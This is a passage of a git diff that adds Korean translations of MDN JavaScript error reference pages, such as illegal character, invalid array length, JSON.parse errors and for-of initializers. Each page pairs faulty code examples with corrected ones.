+ - ZWSP
+ - 구문 에러
+ - 자바스크립트
+ - 폭 없는 공백
+translation_of: Web/JavaScript/Reference/Errors/Illegal_character
+---
+<p>{{jsSidebar("Errors")}}</p>
+
+<h2 id="메세지">메세지</h2>
+
+<pre class="syntaxbox">SyntaxError: Invalid character (Edge)
+SyntaxError: illegal character (Firefox)
+SyntaxError: Invalid or unexpected token (Chrome)
+</pre>
+
+<h2 id="에러_타입">에러 타입</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p>코드에 해당 구문에 맞지 않거나 예기치 않은 토큰이 있습니다. 마이너스 기호(<code> - </code>)와 대시(<code> – </code>) 또는 따옴표(<code> " </code>)와 비표준 따옴표(<code> “ </code>) 등이 잘못 사용된 경우에 대해 문법 체크를 해주는 편집기를 사용하여 코드를 주의 깊게 확인해야 합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="잘못_사용된_문자">잘못 사용된 문자</h3>
+
+<p>일부 문자들은 비슷하게 보이지만 파서가 코드 해석을 실패하게 만듭니다. 유명한 예로 따옴표, 마이너스 또는 세미콜론(<a href="https://en.wikipedia.org/wiki/Question_mark#Greek_question_mark">greek questionmark (U+37e)</a>과 동일하게 보입니다)이 있습니다.</p>
+
+<pre class="brush: js example-bad">“This looks like a string”; // SyntaxError: illegal character
+ // 비슷해 보이지만 “와 ”는 "이 아닙니다
+
+42 – 13; // SyntaxError: illegal character
+ // 비슷해 보이지만 –은 -이 아닙니다
+
+var foo = 'bar'; // SyntaxError: illegal character
+ // 비슷해 보이지만 &lt;37e&gt;은 ;이 아닙니다
+</pre>
+
+<p>아래 예제는 정상적으로 동작합니다:</p>
+
+<pre class="brush: js example-good">"This is actually a string";
+42 - 13;
+var foo = 'bar';
+</pre>
+
+<p><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-string">일부 편집기와 IDE는 문제가 있는 부분을 알려주거나 적어도 강조 표시를 해주지만 전부는 아닙니다. 이런 에러가 발생했을 때 무엇이 문제인지 찾을 수 없는 경우, 문제가 있는 줄을 지우고 다시 작성하는 것 가장 좋습니다.</span></span></span></span></p>
+
+<h3 id="문자_빠트리기">문자 빠트리기</h3>
+
+<p>앞이나 뒤에 오는 문자를 잊어버리기 쉽습니다.</p>
+
+<pre class="brush: js example-bad">var colors = ['#000', #333', '#666'];
+// SyntaxError: illegal character
+</pre>
+
+<p> <code><strong>'</strong>#333'</code>에 빠진 작은따옴표를 추가합니다.</p>
+
+<pre class="brush: js example-good">var colors = ['#000', '#333', '#666'];</pre>
+
+<h3 id="숨겨진_문자">숨겨진 문자</h3>
+
+<p>다른 곳에서 코드를 복사하여 붙여넣은 경우 잘못된 문자가 포함돼 있을 수 있습니다. 주의하세요!</p>
+
+<pre class="brush: js example-bad">var foo = 'bar';​
+// SyntaxError: illegal character
+</pre>
+
+<p>Vim과 같은 편집기에서 아래 코드를 체크하면 폭 없는 공백(<a href="https://en.wikipedia.org/wiki/Zero-width_space">zero-width space (ZWSP) (U+200B)</a>) 문자가 있는 것을 확인할 수 있습니다.</p>
+
+<pre class="brush: js">var foo = 'bar';​&lt;200b&gt;</pre>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Lexical_grammar">문법</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/index.html b/files/ko/web/javascript/reference/errors/index.html
new file mode 100644
index 0000000000..79e24cc575
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/index.html
@@ -0,0 +1,12 @@
+---
+title: JavaScript error reference
+slug: Web/JavaScript/Reference/Errors
+tags:
+ - JavaScript
+translation_of: Web/JavaScript/Reference/Errors
+---
+<p>{{jsSidebar("Errors")}}</p>
+
+<p>오류, 사방에 오류.</p>
+
+<p>{{ListSubPages("/ko/docs/Web/JavaScript/Reference/Errors")}}</p>
diff --git a/files/ko/web/javascript/reference/errors/invalid_array_length/index.html b/files/ko/web/javascript/reference/errors/invalid_array_length/index.html
new file mode 100644
index 0000000000..6ddeb58f06
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/invalid_array_length/index.html
@@ -0,0 +1,73 @@
+---
+title: 'RangeError: invalid array length'
+slug: Web/JavaScript/Reference/Errors/Invalid_array_length
+translation_of: Web/JavaScript/Reference/Errors/Invalid_array_length
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메세지">메세지</h2>
+
+<pre class="syntaxbox">RangeError: invalid array length (Firefox)
+RangeError: Invalid array length (Chrome)
+RangeError: Invalid array buffer length (Chrome)
+</pre>
+
+<h2 id="에러_형식">에러 형식</h2>
+
+<p>{{jsxref("RangeError")}}</p>
+
+<h2 id="무엇이_잘못_된_것일까">무엇이 잘못 된 것일까?</h2>
+
+<p>다음과 같은 원인 때문이다:</p>
+
+<ul>
+ <li>2<sup>32</sup>와 같거나 이보다 긴, 혹은 음수의 길이를 가진 {{jsxref("Array")}}나 {{jsxref("ArrayBuffer")}}를 생성했기 때문에, 혹은</li>
+ <li>{{jsxref("Array")}} 속성을 2<sup>32</sup>와 같거나 이보다 긴 값으로 설정했기 때문이다.</li>
+</ul>
+
+<p><code>Array와 ArrayBuffer의 길이에 제한을 둔 이유는, Array나 ArrayBuffer의 length 속성은 사인되지 않은(unsigned) 32 비트 정수로 반영되기 때문이다.</code> 즉 <code>Array나 ArrayBuffer는 오직 0 ~ </code>2<sup>32</sup>-1 사이의 값만을 저장할 수 있다.</p>
+
+<p>Array의 length로 해석되는 첫번째 argument로서 문자열 표기를 통해 contructor를 사용하여 Array를 생성할 수 있다.</p>
+
+<p>다른 방법으로는, length 속성을 설정하기 전에 length의 길이에 제한을 두거나, constructor의 aurgment로서 사용할 수 있다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="잘못된_예제">잘못된 예제</h3>
+
+<pre class="brush: js example-bad">new Array(Math.pow(2, 40))
+new Array(-1)
+new ArrayBuffer(Math.pow(2, 32))
+new ArrayBuffer(-1)
+
+let a = [];
+a.length = a.length - 1; // set -1 to the length property
+
+let b = new Array(Math.pow(2, 32) - 1);
+b.length = b.length + 1; // set 2^32 to the length property
+</pre>
+
+<h3 id="올바른_예제">올바른 예제</h3>
+
+<pre class="brush: js example-good">[ Math.pow(2, 40) ] // [ 1099511627776 ]
+[ -1 ] // [ -1 ]
+new ArrayBuffer(Math.pow(2, 32) - 1)
+new ArrayBuffer(0)
+
+let a = [];
+a.length = Math.max(0, a.length - 1);
+
+let b = new Array(Math.pow(2, 32) - 1);
+b.length = Math.min(0xffffffff, b.length + 1);
+
+// 0xffffffff is the hexadecimal notation for 2^32 - 1
+// which can also be written as (-1 &gt;&gt;&gt; 0)
+</pre>
+
+<h2 id="sect1"> </h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Array.length")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/invalid_assignment_left-hand_side/index.html b/files/ko/web/javascript/reference/errors/invalid_assignment_left-hand_side/index.html
new file mode 100644
index 0000000000..7a7acf3ca2
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/invalid_assignment_left-hand_side/index.html
@@ -0,0 +1,50 @@
+---
+title: 'ReferenceError: invalid assignment left-hand side'
+slug: Web/JavaScript/Reference/Errors/Invalid_assignment_left-hand_side
+translation_of: Web/JavaScript/Reference/Errors/Invalid_assignment_left-hand_side
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">ReferenceError: invalid assignment left-hand side
+</pre>
+
+<h2 id="에러_타입">에러 타입</h2>
+
+<p>{{jsxref("ReferenceError")}}.</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p>예상치 못한 할당이 일어났습니다. 이것은 할당 연산자(<a href="/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators">assignment operator</a>)와 비교 연산자(<a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">comparison operator</a>) 간의 불일치로 인한 것일 겁니다.  예를 들면, "<code>=</code>" 부호는 값을 변수에 할당합니다.  "<code>==</code>" 나  "<code>===</code>"는 값을 비교하는 연산을 합니다.</p>
+
+<h2 id="예">예</h2>
+
+<pre class="brush: js example-bad">if (Math.PI = 3 || Math.PI = 4) {
+ console.log('no way!');
+}
+// ReferenceError: invalid assignment left-hand side
+
+var str = 'Hello, '
++= 'is it me '
++= 'you\'re looking for?';
+// ReferenceError: invalid assignment left-hand side
+</pre>
+
+<p><code>if </code>구문에서, 비교 연산자 ("==")로 비교하려 할 때, 문자열의 연속적인 결합의 경우에는, 플러스("+") 연산자가 필요합니다.</p>
+
+<pre class="brush: js example-good">if (Math.PI == 3 || Math.PI == 4) {
+ console.log('no way!');
+}
+
+var str = 'Hello, '
++ 'from the '
++ 'other side!';
+</pre>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators">Assignment operators</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">Comparison operators</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/invalid_date/index.html b/files/ko/web/javascript/reference/errors/invalid_date/index.html
new file mode 100644
index 0000000000..32cf041e7e
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/invalid_date/index.html
@@ -0,0 +1,50 @@
+---
+title: 'RangeError: invalid date'
+slug: Web/JavaScript/Reference/Errors/Invalid_date
+translation_of: Web/JavaScript/Reference/Errors/Invalid_date
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">RangeError: invalid date (Firefox)
+RangeError: invalid time value (Chrome)
+RangeError: Provided date is not in valid range (Chrome)
+</pre>
+
+<h2 id="에러_종류">에러 종류</h2>
+
+<p>{{jsxref("RangeError")}}</p>
+
+<h2 id="무엇이_잘못_된_걸까">무엇이 잘못 된 걸까?</h2>
+
+<p>유효하지 않은 String이 {{jsxref("Date")}} 나 {{jsxref("Date.parse()")}}에 입력되었습니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="올바르지_않은_사용_예시">올바르지 않은 사용 예시</h3>
+
+<p>인식 할 수 없는 string이나 잘못된 요소 값을 포함하는 ISO 형식의 날짜 string은 일반적으로 {{jsxref ( "NaN")}}을 반환합니다. 그러나 구현 방식에 따라 ISO 형식 string을 따르지 않는 경우 <code>RangeError: invalid date</code>가 표시 될 수 있습니다. Firefox의 경우:</p>
+
+<pre class="brush: js example-bad">new Date('foo-bar 2014');
+new Date('2014-25-23').toISOString();
+new Date('foo-bar 2014').toString();
+</pre>
+
+<p>그러나 이 경우, Firefox에서는 {{jsxref("NaN")}} 을 반환합니다:</p>
+
+<pre class="brush: js example-bad">Date.parse('foo-bar 2014'); // NaN</pre>
+
+<p>더 자세한 사항은  {{jsxref("Date.parse()")}} 문서를 참고하세요.</p>
+
+<h3 id="올바른_사용_예시">올바른 사용 예시</h3>
+
+<pre class="brush: js example-good">new Date('05 October 2011 14:48 UTC');</pre>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li>{{jsxref("Date")}}</li>
+ <li>{{jsxref("Date.prototype.parse()")}}</li>
+ <li>{{jsxref("Date.prototype.toISOString()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/invalid_for-in_initializer/index.html b/files/ko/web/javascript/reference/errors/invalid_for-in_initializer/index.html
new file mode 100644
index 0000000000..7dd5e15a9a
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/invalid_for-in_initializer/index.html
@@ -0,0 +1,75 @@
+---
+title: 'SyntaxError: for-in loop head declarations may not have initializers'
+slug: Web/JavaScript/Reference/Errors/Invalid_for-in_initializer
+tags:
+ - for...in 구문
+ - 구문 에러
+ - 배열 반복
+ - 자바스크립트
+ - 초기화
+translation_of: Web/JavaScript/Reference/Errors/Invalid_for-in_initializer
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메세지">메세지</h2>
+
+<pre class="syntaxbox">SyntaxError: for-in loop head declarations cannot have an initializer (Edge)
+SyntaxError: for-in loop head declarations may not have initializers (Firefox)
+SyntaxError: for-in loop variable declaration may not have an initializer. (Chrome)
+</pre>
+
+<h2 id="에러_타입">에러 타입</h2>
+
+<p>엄격(Strict) 모드에서의 {{jsxref("SyntaxError")}}.</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a> 반복문의 선언부에 초기화 구문이 포함되어 있습니다. 즉, |<code>for (var i = 0 in obj)</code>| 구문을 통해 변수가 정의되고 값이 할당된 것을 말합니다. 비엄격 모드(non-strict) 모드에서는 이 초기화 구문이 무시되어 <code>|for (var i in obj)|</code> 처럼 동작합니다. 하지만 엄격 모드에서는 <code>SyntaxError</code> 가 발생합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>이 예제는 <code>SyntaxError</code>를 발생시킵니다.</p>
+
+<pre class="brush: js example-bad">"use strict";
+
+var obj = {a: 1, b: 2, c: 3 };
+
+for (var i = 0 in obj) {
+ console.log(obj[i]);
+}
+
+// SyntaxError: for-in loop head declarations may not have initializers
+</pre>
+
+<h3 id="올바른_for-in_반복문">올바른 for-in 반복문</h3>
+
+<p>for-in 반복문의 선언부에서 초기화 구문(<code>i = 0</code>)을 삭제합니다.</p>
+
+<pre class="brush: js example-good">"use strict";
+
+var obj = {a: 1, b: 2, c: 3 };
+
+for (var i in obj) {
+ console.log(obj[i]);
+}
+</pre>
+
+<h3 id="배열_반복">배열 반복</h3>
+
+<p>for...in 반복문은 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Statements/for...in#Array_iteration_and_for...in">배열을 반복하는데에는 사용하지 않습니다</a>. 배열({{jsxref("Array")}})을 반복하기 위해 <code>for-in</code> 반복문 대신에 <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for">for</a></code> 반복문을 사용하려고 한 적이 있습니까? <code>for</code> 반복문은 선언부에서 초기화도 할 수 있습니다:</p>
+
+<pre class="brush: js example-good">var arr = [ "a", "b", "c" ]
+
+for (var i = 2; i &lt; arr.length; i++) {
+ console.log(arr[i]);
+}
+
+// "c"</pre>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a></code></li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></code> – 엄격 모드와 비엄격 모드에서 모두 초기화를 허용하지 않습니다.</li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for">for</a></code> – 배열 반복에 적합하고 초기화도 가능합니다.</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/invalid_for-of_initializer/index.html b/files/ko/web/javascript/reference/errors/invalid_for-of_initializer/index.html
new file mode 100644
index 0000000000..0e60e242e8
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/invalid_for-of_initializer/index.html
@@ -0,0 +1,64 @@
+---
+title: >-
+ SyntaxError: a declaration in the head of a for-of loop can't have an
+ initializer
+slug: Web/JavaScript/Reference/Errors/Invalid_for-of_initializer
+tags:
+ - For문 초기화
+ - 구문 에러
+ - 반복문
+ - 자바스크립트
+translation_of: Web/JavaScript/Reference/Errors/Invalid_for-of_initializer
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메세지">메세지</h2>
+
+<pre class="syntaxbox">SyntaxError: for-of loop head declarations cannot have an initializer (Edge)
+SyntaxError: a declaration in the head of a for-of loop can't have an initializer (Firefox)
+SyntaxError: for-of loop variable declaration may not have an initializer. (Chrome)
+</pre>
+
+<h2 id="에러_타입">에러 타입</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a> 반복문의 식이 초기화 구문을 포함한 것이 문제입니다. 즉, |<code>for (var i = 0 of iterable)</code>| 구문을 통해 변수가 정의되고 값이 할당된 것을 말합니다. 이 구문은 for-of 반복문에서 허용되지 않습니다. 이 경우 초기화를 할 수 있는 for 반복문이 필요합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="잘못된_for-of_반복문">잘못된 for-of 반복문</h3>
+
+<pre class="brush: js example-bad">let iterable = [10, 20, 30];
+
+for (let value = 50 of iterable) {
+ console.log(value);
+}
+
+// SyntaxError: a declaration in the head of a for-of loop can't
+// have an initializer</pre>
+
+<h3 id="올바른_for-of_반복문">올바른 <code>for-of</code> 반복문</h3>
+
+<p>for-of 반복문에서 초기화 구문(<code>value = 50</code>)을 삭제해야 합니다. 50을 더하고 싶다면 다음 예제와 같이 반복문 안에 추가할 수 있습니다.</p>
+
+<pre class="brush: js example-good">let iterable = [10, 20, 30];
+
+for (let value of iterable) {
+ value += 50;
+ console.log(value);
+}
+// 60
+// 70
+// 80
+</pre>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></code></li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a></code> – 엄격(Strict) 모드에서는 마찬가지로 초기화를 허용하지 않습니다. (<a href="/en-US/docs/Web/JavaScript/Reference/Errors/Invalid_for-in_initializer">SyntaxError: for-in loop head declarations may not have initializers</a>)</li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for">for</a></code> – 초기화를 허용합니다.</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/is_not_iterable/index.html b/files/ko/web/javascript/reference/errors/is_not_iterable/index.html
new file mode 100644
index 0000000000..8e00501d54
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/is_not_iterable/index.html
@@ -0,0 +1,106 @@
+---
+title: 'TypeError: ''x'' is not iterable'
+slug: Web/JavaScript/Reference/Errors/is_not_iterable
+tags:
+ - JavaScript
+ - 레퍼런스
+ - 에러
+ - 타입에러
+translation_of: Web/JavaScript/Reference/Errors/is_not_iterable
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">TypeError: 'x' is not iterable (Firefox, Chrome)
+TypeError: 'x' is not a function or its return value is not iterable (Chrome)
+</pre>
+
+<h2 id="에러_타입">에러 타입</h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="무엇이_문제인가요">무엇이 문제인가요?</h2>
+
+<p>{{jsxref("Promise.all")}} 또는 {{jsxref("TypedArray.from")}} 과 같은 함수의 아규먼트 또는 <a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration#for...of_statement">for…of</a> 의 right hand-side 로 주어진 값이 <a href="/ko/docs/Web/JavaScript/Reference/Iteration_protocols">iterable 객체</a>가 아닙니다. iterable 은 {{jsxref("Array")}}, {{jsxref("String")}} 또는 {{jsxref("Map")}}, 생성자 결과, 또는 <a href="/ko/docs/Web/JavaScript/Reference/Iteration_protocols#The_iterable_protocol">iterable protocol</a> 구현 객체와 같은 내장 iterable 타입이 될 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="모든_객체_프로퍼티_iterating">모든 객체 프로퍼티 iterating</h3>
+
+<p>JavaScript 에서 <a href="/ko/docs/Web/JavaScript/Reference/Iteration_protocols#The_iterable_protocol">iterable protocol</a> 을 구현하지 않은 {{jsxref("Object")}} 는 iterable 이 아닙니다.<br>
+ 그러므로, 객체의 프로퍼티를 반복하기 위해 <a href="/ko/docs/Web/JavaScript/Guide/Loops_and_iteration#for...of_statement">for…of</a> 를 사용하면 안됩니다.</p>
+
+<pre class="brush: js example-bad">var obj = { 'France': 'Paris', 'England': 'London' };
+for (let p of obj) { // TypeError: obj is not iterable
+ // …
+}
+</pre>
+
+<p>객체의 모든 항목 또는 프로퍼티를 반복하려면 대신 {{jsxref("Object.keys")}} 또는 {{jsxref("Object.entries")}} 를 사용해야 합니다.</p>
+
+<pre class="brush: js example-good">var obj = { 'France': 'Paris', 'England': 'London' };
+// 모든 프로퍼티 이름을 iterate:
+for (let country of Object.keys(obj)) {
+ var capital = obj[country];
+ console.log(country, capital);
+}
+
+for (const [country, capital] of Object.entries(obj))
+ console.log(country, capital);
+
+
+</pre>
+
+<p>이 유즈 케이스에 대한 다른 옵션은 {{jsxref("Map")}} 을 사용하는 것입니다.</p>
+
+<pre class="brush: js example-good">var map = new Map;
+map.set('France', 'Paris');
+map.set('England', 'London');
+// 모든 프로퍼티 이름 iterate
+for (let country of map.keys()) {
+ let capital = map[country];
+ console.log(country, capital);
+}
+
+for (let capital of map.values())
+ console.log(capital);
+
+for (const [country, capital] of map.entries())
+ console.log(country, capital);
+</pre>
+
+<h3 id="Generator_iterating">Generator iterating</h3>
+
+<p><a href="/ko/docs/Web/JavaScript/Guide/Iterators_and_Generators#Generators">Generators</a> 는 iterable 객체를 생성하기 위해 호출하는 함수입니다.</p>
+
+<pre class="brush: js example-bad">function* generate(a, b) {
+ yield a;
+ yield b;
+}
+
+for (let x of generate) // TypeError: generate is not iterable
+ console.log(x);
+</pre>
+
+<p>generator 가 호출되지 않으면, generator 에 해당하는 {{jsxref("Function")}} 객체를 호출할수는 있지만 interable 하지는 않습니다. generator 호출은 generator 실행동안 yield 된 모든 값을 iterate 하는 iterable 객체를 생성합니다.</p>
+
+<pre class="brush: js example-good">function* generate(a, b) {
+ yield a;
+ yield b;
+}
+
+for (let x of generate(1,2))
+ console.log(x);
+</pre>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Iteration_protocols#The_iterable_protocol">iterable protocol</a></li>
+ <li>{{jsxref("Object.keys")}}</li>
+ <li>{{jsxref("Object.entries")}}</li>
+ <li>{{jsxref("Map")}}</li>
+ <li><a href="/ko/docs/Web/JavaScript/Guide/Iterators_and_Generators#Generators">generators</a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Guide/Loops_and_iteration#for...of_statement">for…of</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/json_bad_parse/index.html b/files/ko/web/javascript/reference/errors/json_bad_parse/index.html
new file mode 100644
index 0000000000..c73b082dbb
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/json_bad_parse/index.html
@@ -0,0 +1,105 @@
+---
+title: 'SyntaxError: JSON.parse: bad parsing'
+slug: Web/JavaScript/Reference/Errors/JSON_bad_parse
+translation_of: Web/JavaScript/Reference/Errors/JSON_bad_parse
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">SyntaxError: JSON.parse: unterminated string literal
+SyntaxError: JSON.parse: bad control character in string literal
+SyntaxError: JSON.parse: bad character in string literal
+SyntaxError: JSON.parse: bad Unicode escape
+SyntaxError: JSON.parse: bad escape character
+SyntaxError: JSON.parse: unterminated string
+SyntaxError: JSON.parse: no number after minus sign
+SyntaxError: JSON.parse: unexpected non-digit
+SyntaxError: JSON.parse: missing digits after decimal point
+SyntaxError: JSON.parse: unterminated fractional number
+SyntaxError: JSON.parse: missing digits after exponent indicator
+SyntaxError: JSON.parse: missing digits after exponent sign
+SyntaxError: JSON.parse: exponent part is missing a number
+SyntaxError: JSON.parse: unexpected end of data
+SyntaxError: JSON.parse: unexpected keyword
+SyntaxError: JSON.parse: unexpected character
+SyntaxError: JSON.parse: end of data while reading object contents
+SyntaxError: JSON.parse: expected property name or '}'
+SyntaxError: JSON.parse: end of data when ',' or ']' was expected
+SyntaxError: JSON.parse: expected ',' or ']' after array element
+SyntaxError: JSON.parse: end of data when property name was expected
+SyntaxError: JSON.parse: expected double-quoted property name
+SyntaxError: JSON.parse: end of data after property name when ':' was expected
+SyntaxError: JSON.parse: expected ':' after property name in object
+SyntaxError: JSON.parse: end of data after property value in object
+SyntaxError: JSON.parse: expected ',' or '}' after property value in object
+SyntaxError: JSON.parse: expected ',' or '}' after property-value pair in object literal
+SyntaxError: JSON.parse: property names must be double-quoted strings
+SyntaxError: JSON.parse: expected property name or '}'
+SyntaxError: JSON.parse: unexpected character
+SyntaxError: JSON.parse: unexpected non-whitespace character after JSON data
+</pre>
+
+<h2 id="에러_타입">에러 타입</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="뭐가_잘못됬나요">뭐가 잘못됬나요?</h2>
+
+<p>{{jsxref("JSON.parse()")}} 는 문자열을 JSON으로 파싱한다. 이 문자열은 유효한 JSON 형태의 문자열이어야 하며, 유효하지 않을 경우 에러가 발생한다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="JSON.parse()_는_여분의_콤마를_허용하지_않는다."><code>JSON.parse()</code> 는 여분의 콤마를 허용하지 않는다.</h3>
+
+<p>다음 두 줄은 SyntaxError를 발생시킨다:</p>
+
+<pre class="brush: js example-bad">JSON.parse('[1, 2, 3, 4,]');
+JSON.parse('{"foo": 1,}');
+// SyntaxError JSON.parse: unexpected character
+// at line 1 column 14 of the JSON data
+</pre>
+
+<p>끝에 오는 콤마를 제거하면 정확하게 JSON으로 파싱한다:</p>
+
+<pre class="brush: js example-good">JSON.parse('[1, 2, 3, 4]');
+JSON.parse('{"foo": 1}');</pre>
+
+<h3 id="프로퍼티_이름은_반드시_쌍따옴표로_표현해야_한다.">프로퍼티 이름은 반드시 쌍따옴표로 표현해야 한다.</h3>
+
+<p>'foo'처럼 프로퍼티를 작은 따옴표로 감싸서는 안된다.</p>
+
+<pre class="brush: js example-bad">JSON.parse("{'foo': 1}");
+// SyntaxError: JSON.parse: expected property name or '}'
+// at line 1 column 2 of the JSON data</pre>
+
+<p>대신에 "foo" 처럼 써야 한다:</p>
+
+<pre class="brush: js example-good">JSON.parse('{"foo": 1}');</pre>
+
+<h3 id="리딩_제로와_십진_소수점">리딩 제로와 십진 소수점</h3>
+
+<p>01 처럼 리딩제로를 사용할 수 없고, 십진 소수점 뒤에는 최소한 하나의 숫자는 등장해야 한다.</p>
+
+<pre class="brush: js example-bad">JSON.parse('{"foo": 01}');
+// SyntaxError: JSON.parse: expected ',' or '}' after property value
+// in object at line 1 column 2 of the JSON data
+
+JSON.parse('{"foo": 1.}');
+// SyntaxError: JSON.parse: unterminated fractional number
+// at line 1 column 2 of the JSON data
+</pre>
+
+<p>대신에 리딩제로를 없애고 1 이라고 쓰고, 십진 소수점 뒤에는 반드시 하나 이상의 숫자를 적도록 한다:</p>
+
+<pre class="brush: js example-good">JSON.parse('{"foo": 1}');
+JSON.parse('{"foo": 1.0}');
+</pre>
+
+<h2 id="또다른_내용">또다른 내용</h2>
+
+<ul>
+ <li>{{jsxref("JSON")}}</li>
+ <li>{{jsxref("JSON.parse()")}}</li>
+ <li>{{jsxref("JSON.stringify()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/malformed_formal_parameter/index.html b/files/ko/web/javascript/reference/errors/malformed_formal_parameter/index.html
new file mode 100644
index 0000000000..e258ba49e6
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/malformed_formal_parameter/index.html
@@ -0,0 +1,57 @@
+---
+title: 'SyntaxError: Malformed formal parameter'
+slug: Web/JavaScript/Reference/Errors/Malformed_formal_parameter
+translation_of: Web/JavaScript/Reference/Errors/Malformed_formal_parameter
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">SyntaxError: malformed formal parameter (Firefox)
+</pre>
+
+<h2 id="Error_type">Error type</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="무엇이_잘못_되었을까요">무엇이 잘못 되었을까요?</h2>
+
+<p>코드에는 최소한 두 개의 인수가 전달 된 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function">Function()</a></code> 생성자가 있습니다. 마지막 인수는 작성중인 새 함수의 소스코드 입니다.  나머지는 모두 새 함수의 인수 목록을 구성합니다.</p>
+
+<p>인수 목록이 어딘가 잘못되었습니다. 아마도 실수로 인수 이름으로 if 또는 var와 같은 키워드를 선택했거나 인수 목록에 갈곳 잃은 구두점이 있을 수 있습니다. 또는 실수로 숫자나 개체와 같은 잘못된 값을 전달한 것일 수 있습니다.</p>
+
+<h2 id="그래_내_문제가_해결됐어._근데_왜_말_안해줬어">그래, 내 문제가 해결됐어. 근데 왜 말 안해줬어?</h2>
+
+<p>틀림 없이 오류 메세지의 표현은 다소 이상한 부분이 있습니다. "공식 매개 변수"는 "함수 인수"를 말하는 좋은 방법입니다. 우리는 "잘못된 형식의 단어를 사용했다"라고 표현 합니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Invalid_cases">Invalid cases</h3>
+
+<pre class="brush: js example-bad">var f = Function('x y', 'return x + y;');
+// SyntaxError (missing a comma)
+
+var f = Function('x,', 'return x;');
+// SyntaxError (extraneous comma)
+
+var f = Function(37, "alert('OK')");
+// SyntaxError (numbers can't be argument names)
+</pre>
+
+<h3 id="Valid_cases">Valid cases</h3>
+
+<pre class="brush: js example-good">var f = Function('x, y', 'return x + y;'); // correctly punctuated
+
+var f = Function('x', 'return x;');
+
+// if you can, avoid using Function - this is much faster
+var f = function(x) { return x; };
+</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
